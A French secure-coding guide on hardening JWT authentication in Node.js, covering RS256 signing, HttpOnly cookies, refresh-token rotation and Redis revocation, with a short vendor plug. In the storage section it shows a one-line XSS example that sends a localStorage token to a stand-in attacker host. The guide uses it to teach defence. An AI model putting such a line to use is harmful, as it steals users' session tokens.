TL;DR : Les points clés
  • Jamais de JWT dans localStorage : utilisez des cookies HttpOnly Secure SameSite=Strict
  • Access token court (15 min) + refresh token révocable = le meilleur équilibre sécurité/UX
  • Signez toujours avec RS256 (asymétrique), jamais HS256 en production multi-service
  • Validez TOUS les claims : exp, iss, aud, et le JTI si vous avez une blocklist
  • Une blocklist Redis permet la révocation immédiate sans casser l'architecture stateless

Anatomie d'un JWT et ses risques

Un JWT est composé de trois parties encodées en Base64URL et séparées par des points : header, payload, et signature. Le header indique l'algorithme, le payload contient les claims (données), et la signature garantit l'intégrité.

# Structure d'un JWT décodé
Header  : { "alg": "RS256", "typ": "JWT" }
Payload : { "userId": "123", "exp": 1746000000, "jti": "uuid-unique" }
# Le payload est lisible par n'importe qui : jamais de données sensibles !

Attention : Le payload d'un JWT est encodé en Base64, pas chiffré. N'importe qui peut lire son contenu. Ne mettez jamais de données sensibles dans le payload (mot de passe, numéro de CB, informations médicales).

1. Choisir le bon algorithme de signature

C'est l'erreur la plus impactante et la plus répandue. Beaucoup de tutoriels utilisent HS256 (HMAC-SHA256) qui signe avec une clé secrète partagée. Le problème : tous les services qui vérifient le token doivent connaître cette clé, ce qui crée un risque massif de fuite si un seul service est compromis.

  • HS256 (symétrique) : une seule clé pour signer ET vérifier. Si un service est compromis, tous les tokens peuvent être forgés.
  • RS256 (asymétrique) : clé privée pour signer (uniquement l'auth service), clé publique pour vérifier (tous les services). Un service compromis ne peut pas forger de tokens.
const jwt = require('jsonwebtoken');
const { readFileSync } = require('fs');
const privateKey = readFileSync('./keys/private.pem');
const publicKey  = readFileSync('./keys/public.pem');

// ✅ Signer avec RS256 : seul l'auth service a la clé privée
const token = jwt.sign(
  { userId: '123', jti: crypto.randomUUID() },
  privateKey,
  {
    algorithm: 'RS256',
    expiresIn: '15m',
    issuer: 'auth.monapp.fr',
    audience: 'api.monapp.fr'
  }
);

// ✅ Vérifier côté API : uniquement la clé publique nécessaire
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],    // bloquer alg:none et HS256 explicitement
  issuer: 'auth.monapp.fr',
  audience: 'api.monapp.fr'
});

Générer une paire RSA 4096 bits : openssl genrsa -out private.pem 4096 && openssl rsa -in private.pem -pubout -out public.pem

2. Stocker les tokens côté client : la règle d'or

Le débat localStorage vs cookie est tranché depuis longtemps côté sécurité : les cookies HttpOnly sont la seule option acceptable en production. localStorage est accessible à tout JavaScript exécuté sur votre page, y compris les scripts tiers, les extensions de navigateur compromises, et les injections XSS.

// ❌ Ce que fait un script XSS pour voler vos tokens localStorage en 1 ligne
fetch('https://attaquant.com/stealt=' + localStorage.getItem('jwt'));

// ✅ Cookie HttpOnly : inaccessible au JavaScript, envoyé automatiquement
res.cookie('access_token', token, {
  httpOnly: true,        // inaccessible à document.cookie et au JS
  secure: true,          // HTTPS uniquement
  sameSite: 'Strict',    // protection CSRF intégrée
  maxAge: 15 * 60 * 1000,  // 15 minutes
  path: '/api'           // scope limité
});

3. Access tokens courts + refresh tokens

Un access token qui n'expire jamais est une catastrophe : si volé, l'attaquant a un accès permanent. Mais expirer toutes les 15 minutes oblige l'utilisateur à se reconnecter constamment. Le pattern access + refresh token résout ce problème : l'access token expire vite (15 min), le refresh token dure longtemps (7 jours) mais ne peut servir qu'à obtenir un nouvel access token.

// Endpoint de refresh : échange un refresh token contre un nouvel access token
app.post('/auth/refresh', async (req, res) => {
  const refreshToken = req.cookies.refresh_token;
  if (!refreshToken) return res.status(401).json({ error: 'Non authentifié' });

  try {
    const payload = jwt.verify(refreshToken, publicKey, { algorithms: ['RS256'] });

    // Vérifier que le refresh token n'est pas révoqué
    const isRevoked = await redis.get(`blocklist:${payload.jti}`);
    if (isRevoked) return res.status(401).json({ error: 'Session expirée' });

    // Émettre un nouvel access token
    const newAccessToken = jwt.sign(
      { userId: payload.userId },
      privateKey,
      { algorithm: 'RS256', expiresIn: '15m', jti: crypto.randomUUID() }
    );

    res.cookie('access_token', newAccessToken, {
      httpOnly: true, secure: true, sameSite: 'Strict', maxAge: 900000
    });
    res.json({ ok: true });
  } catch {
    res.status(401).json({ error: 'Token invalide' });
  }
});

4. Révoquer un JWT avant son expiration

JWT est stateless : le serveur ne stocke rien et ne peut pas "annuler" un token une fois émis. Si un utilisateur se déconnecte, change son mot de passe, ou si son compte est compromis, ses tokens restent valides jusqu'à leur expiration naturelle. La solution : une blocklist légère dans Redis.

// R?voquer un token (d?connexion, changement de mot de passe...)
async function revokeToken(token) {
  const payload = jwt.decode(token);
  const ttl = payload.exp - Math.floor(Date.now() / 1000); // secondes restantes
  if (ttl > 0) {
    await redis.setex(`blocklist:${payload.jti}`, ttl, '1');
    // Redis supprime automatiquement la clé à l'expiration du token
  }
}

// Middleware de vérification intégrant la blocklist
async function authenticate(req, res, next) {
  const token = req.cookies.access_token;
  if (!token) return res.status(401).json({ error: 'Non authentifié' });
  try {
    const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
    const revoked = await redis.get(`blocklist:${payload.jti}`);
    if (revoked) return res.status(401).json({ error: 'Token révoqué' });
    req.user = payload;
    next();
  } catch {
    res.status(401).json({ error: 'Token invalide ou expiré' });
  }
}

5. Rotation des refresh tokens avec détection de vol

Pour détecter le vol d'un refresh token, implémentez la rotation : à chaque utilisation, émettez un nouveau refresh token et invalidez l'ancien. Si quelqu'un utilise un refresh token déjà consommé, c'est qu'il a été volé : vous révoquez immédiatement toute la session.

// À chaque appel ? /auth/refresh
const alreadyUsed = await redis.get(`used_refresh:${payload.jti}`);
if (alreadyUsed) {
  // ALERTE : token réutilisé = vol potentiel détecté
  await revokeAllUserSessions(payload.userId);
  return res.status(401).json({ error: 'Session compromise, reconnexion requise' });
}

// Marquer l'ancien refresh token comme consommé
await redis.setex(`used_refresh:${payload.jti}`, 7 * 24 * 3600, '1');

// Émettre un nouveau refresh token
const newRefreshToken = jwt.sign(
  { userId: payload.userId },
  privateKey,
  { algorithm: 'RS256', expiresIn: '7d', jti: crypto.randomUUID() }
);
res.cookie('refresh_token', newRefreshToken, {
  httpOnly: true, secure: true, sameSite: 'Strict',
  maxAge: 7 * 24 * 3600 * 1000, path: '/auth/refresh'
});

CyberGuard surveille les anomalies d'authentification

Tentatives de replay de tokens révoqués, flood sur vos endpoints d'auth, credential stuffing : CyberGuard détecte ces patterns et les bloque automatiquement, sans modifier votre code d'authentification.

Essayer gratuitement 15 jours

Checklist & conclusion

  • Algorithme RS256 (asymétrique) en production multi-service
  • Tokens stockés en cookie HttpOnly Secure SameSite=Strict uniquement
  • Access token expiration ≤ 15 minutes
  • Refresh token 7-30 jours, path limité, rotation à chaque utilisation
  • Validation des claims exp, iss, aud, jti à chaque requête
  • Blocklist Redis pour la révocation immédiate
  • Aucune donnée sensible dans le payload
  • Rate limiting strict sur tous les endpoints d'authentification

Les JWT sont un excellent mécanisme quand ils sont bien implémentés. Les erreurs les plus dangereuses sont simples à éviter : stockage dans localStorage, tokens sans expiration, validation incomplète des claims. Appliquez ce guide et votre authentification résistera à la grande majorité des vecteurs d'attaque courants.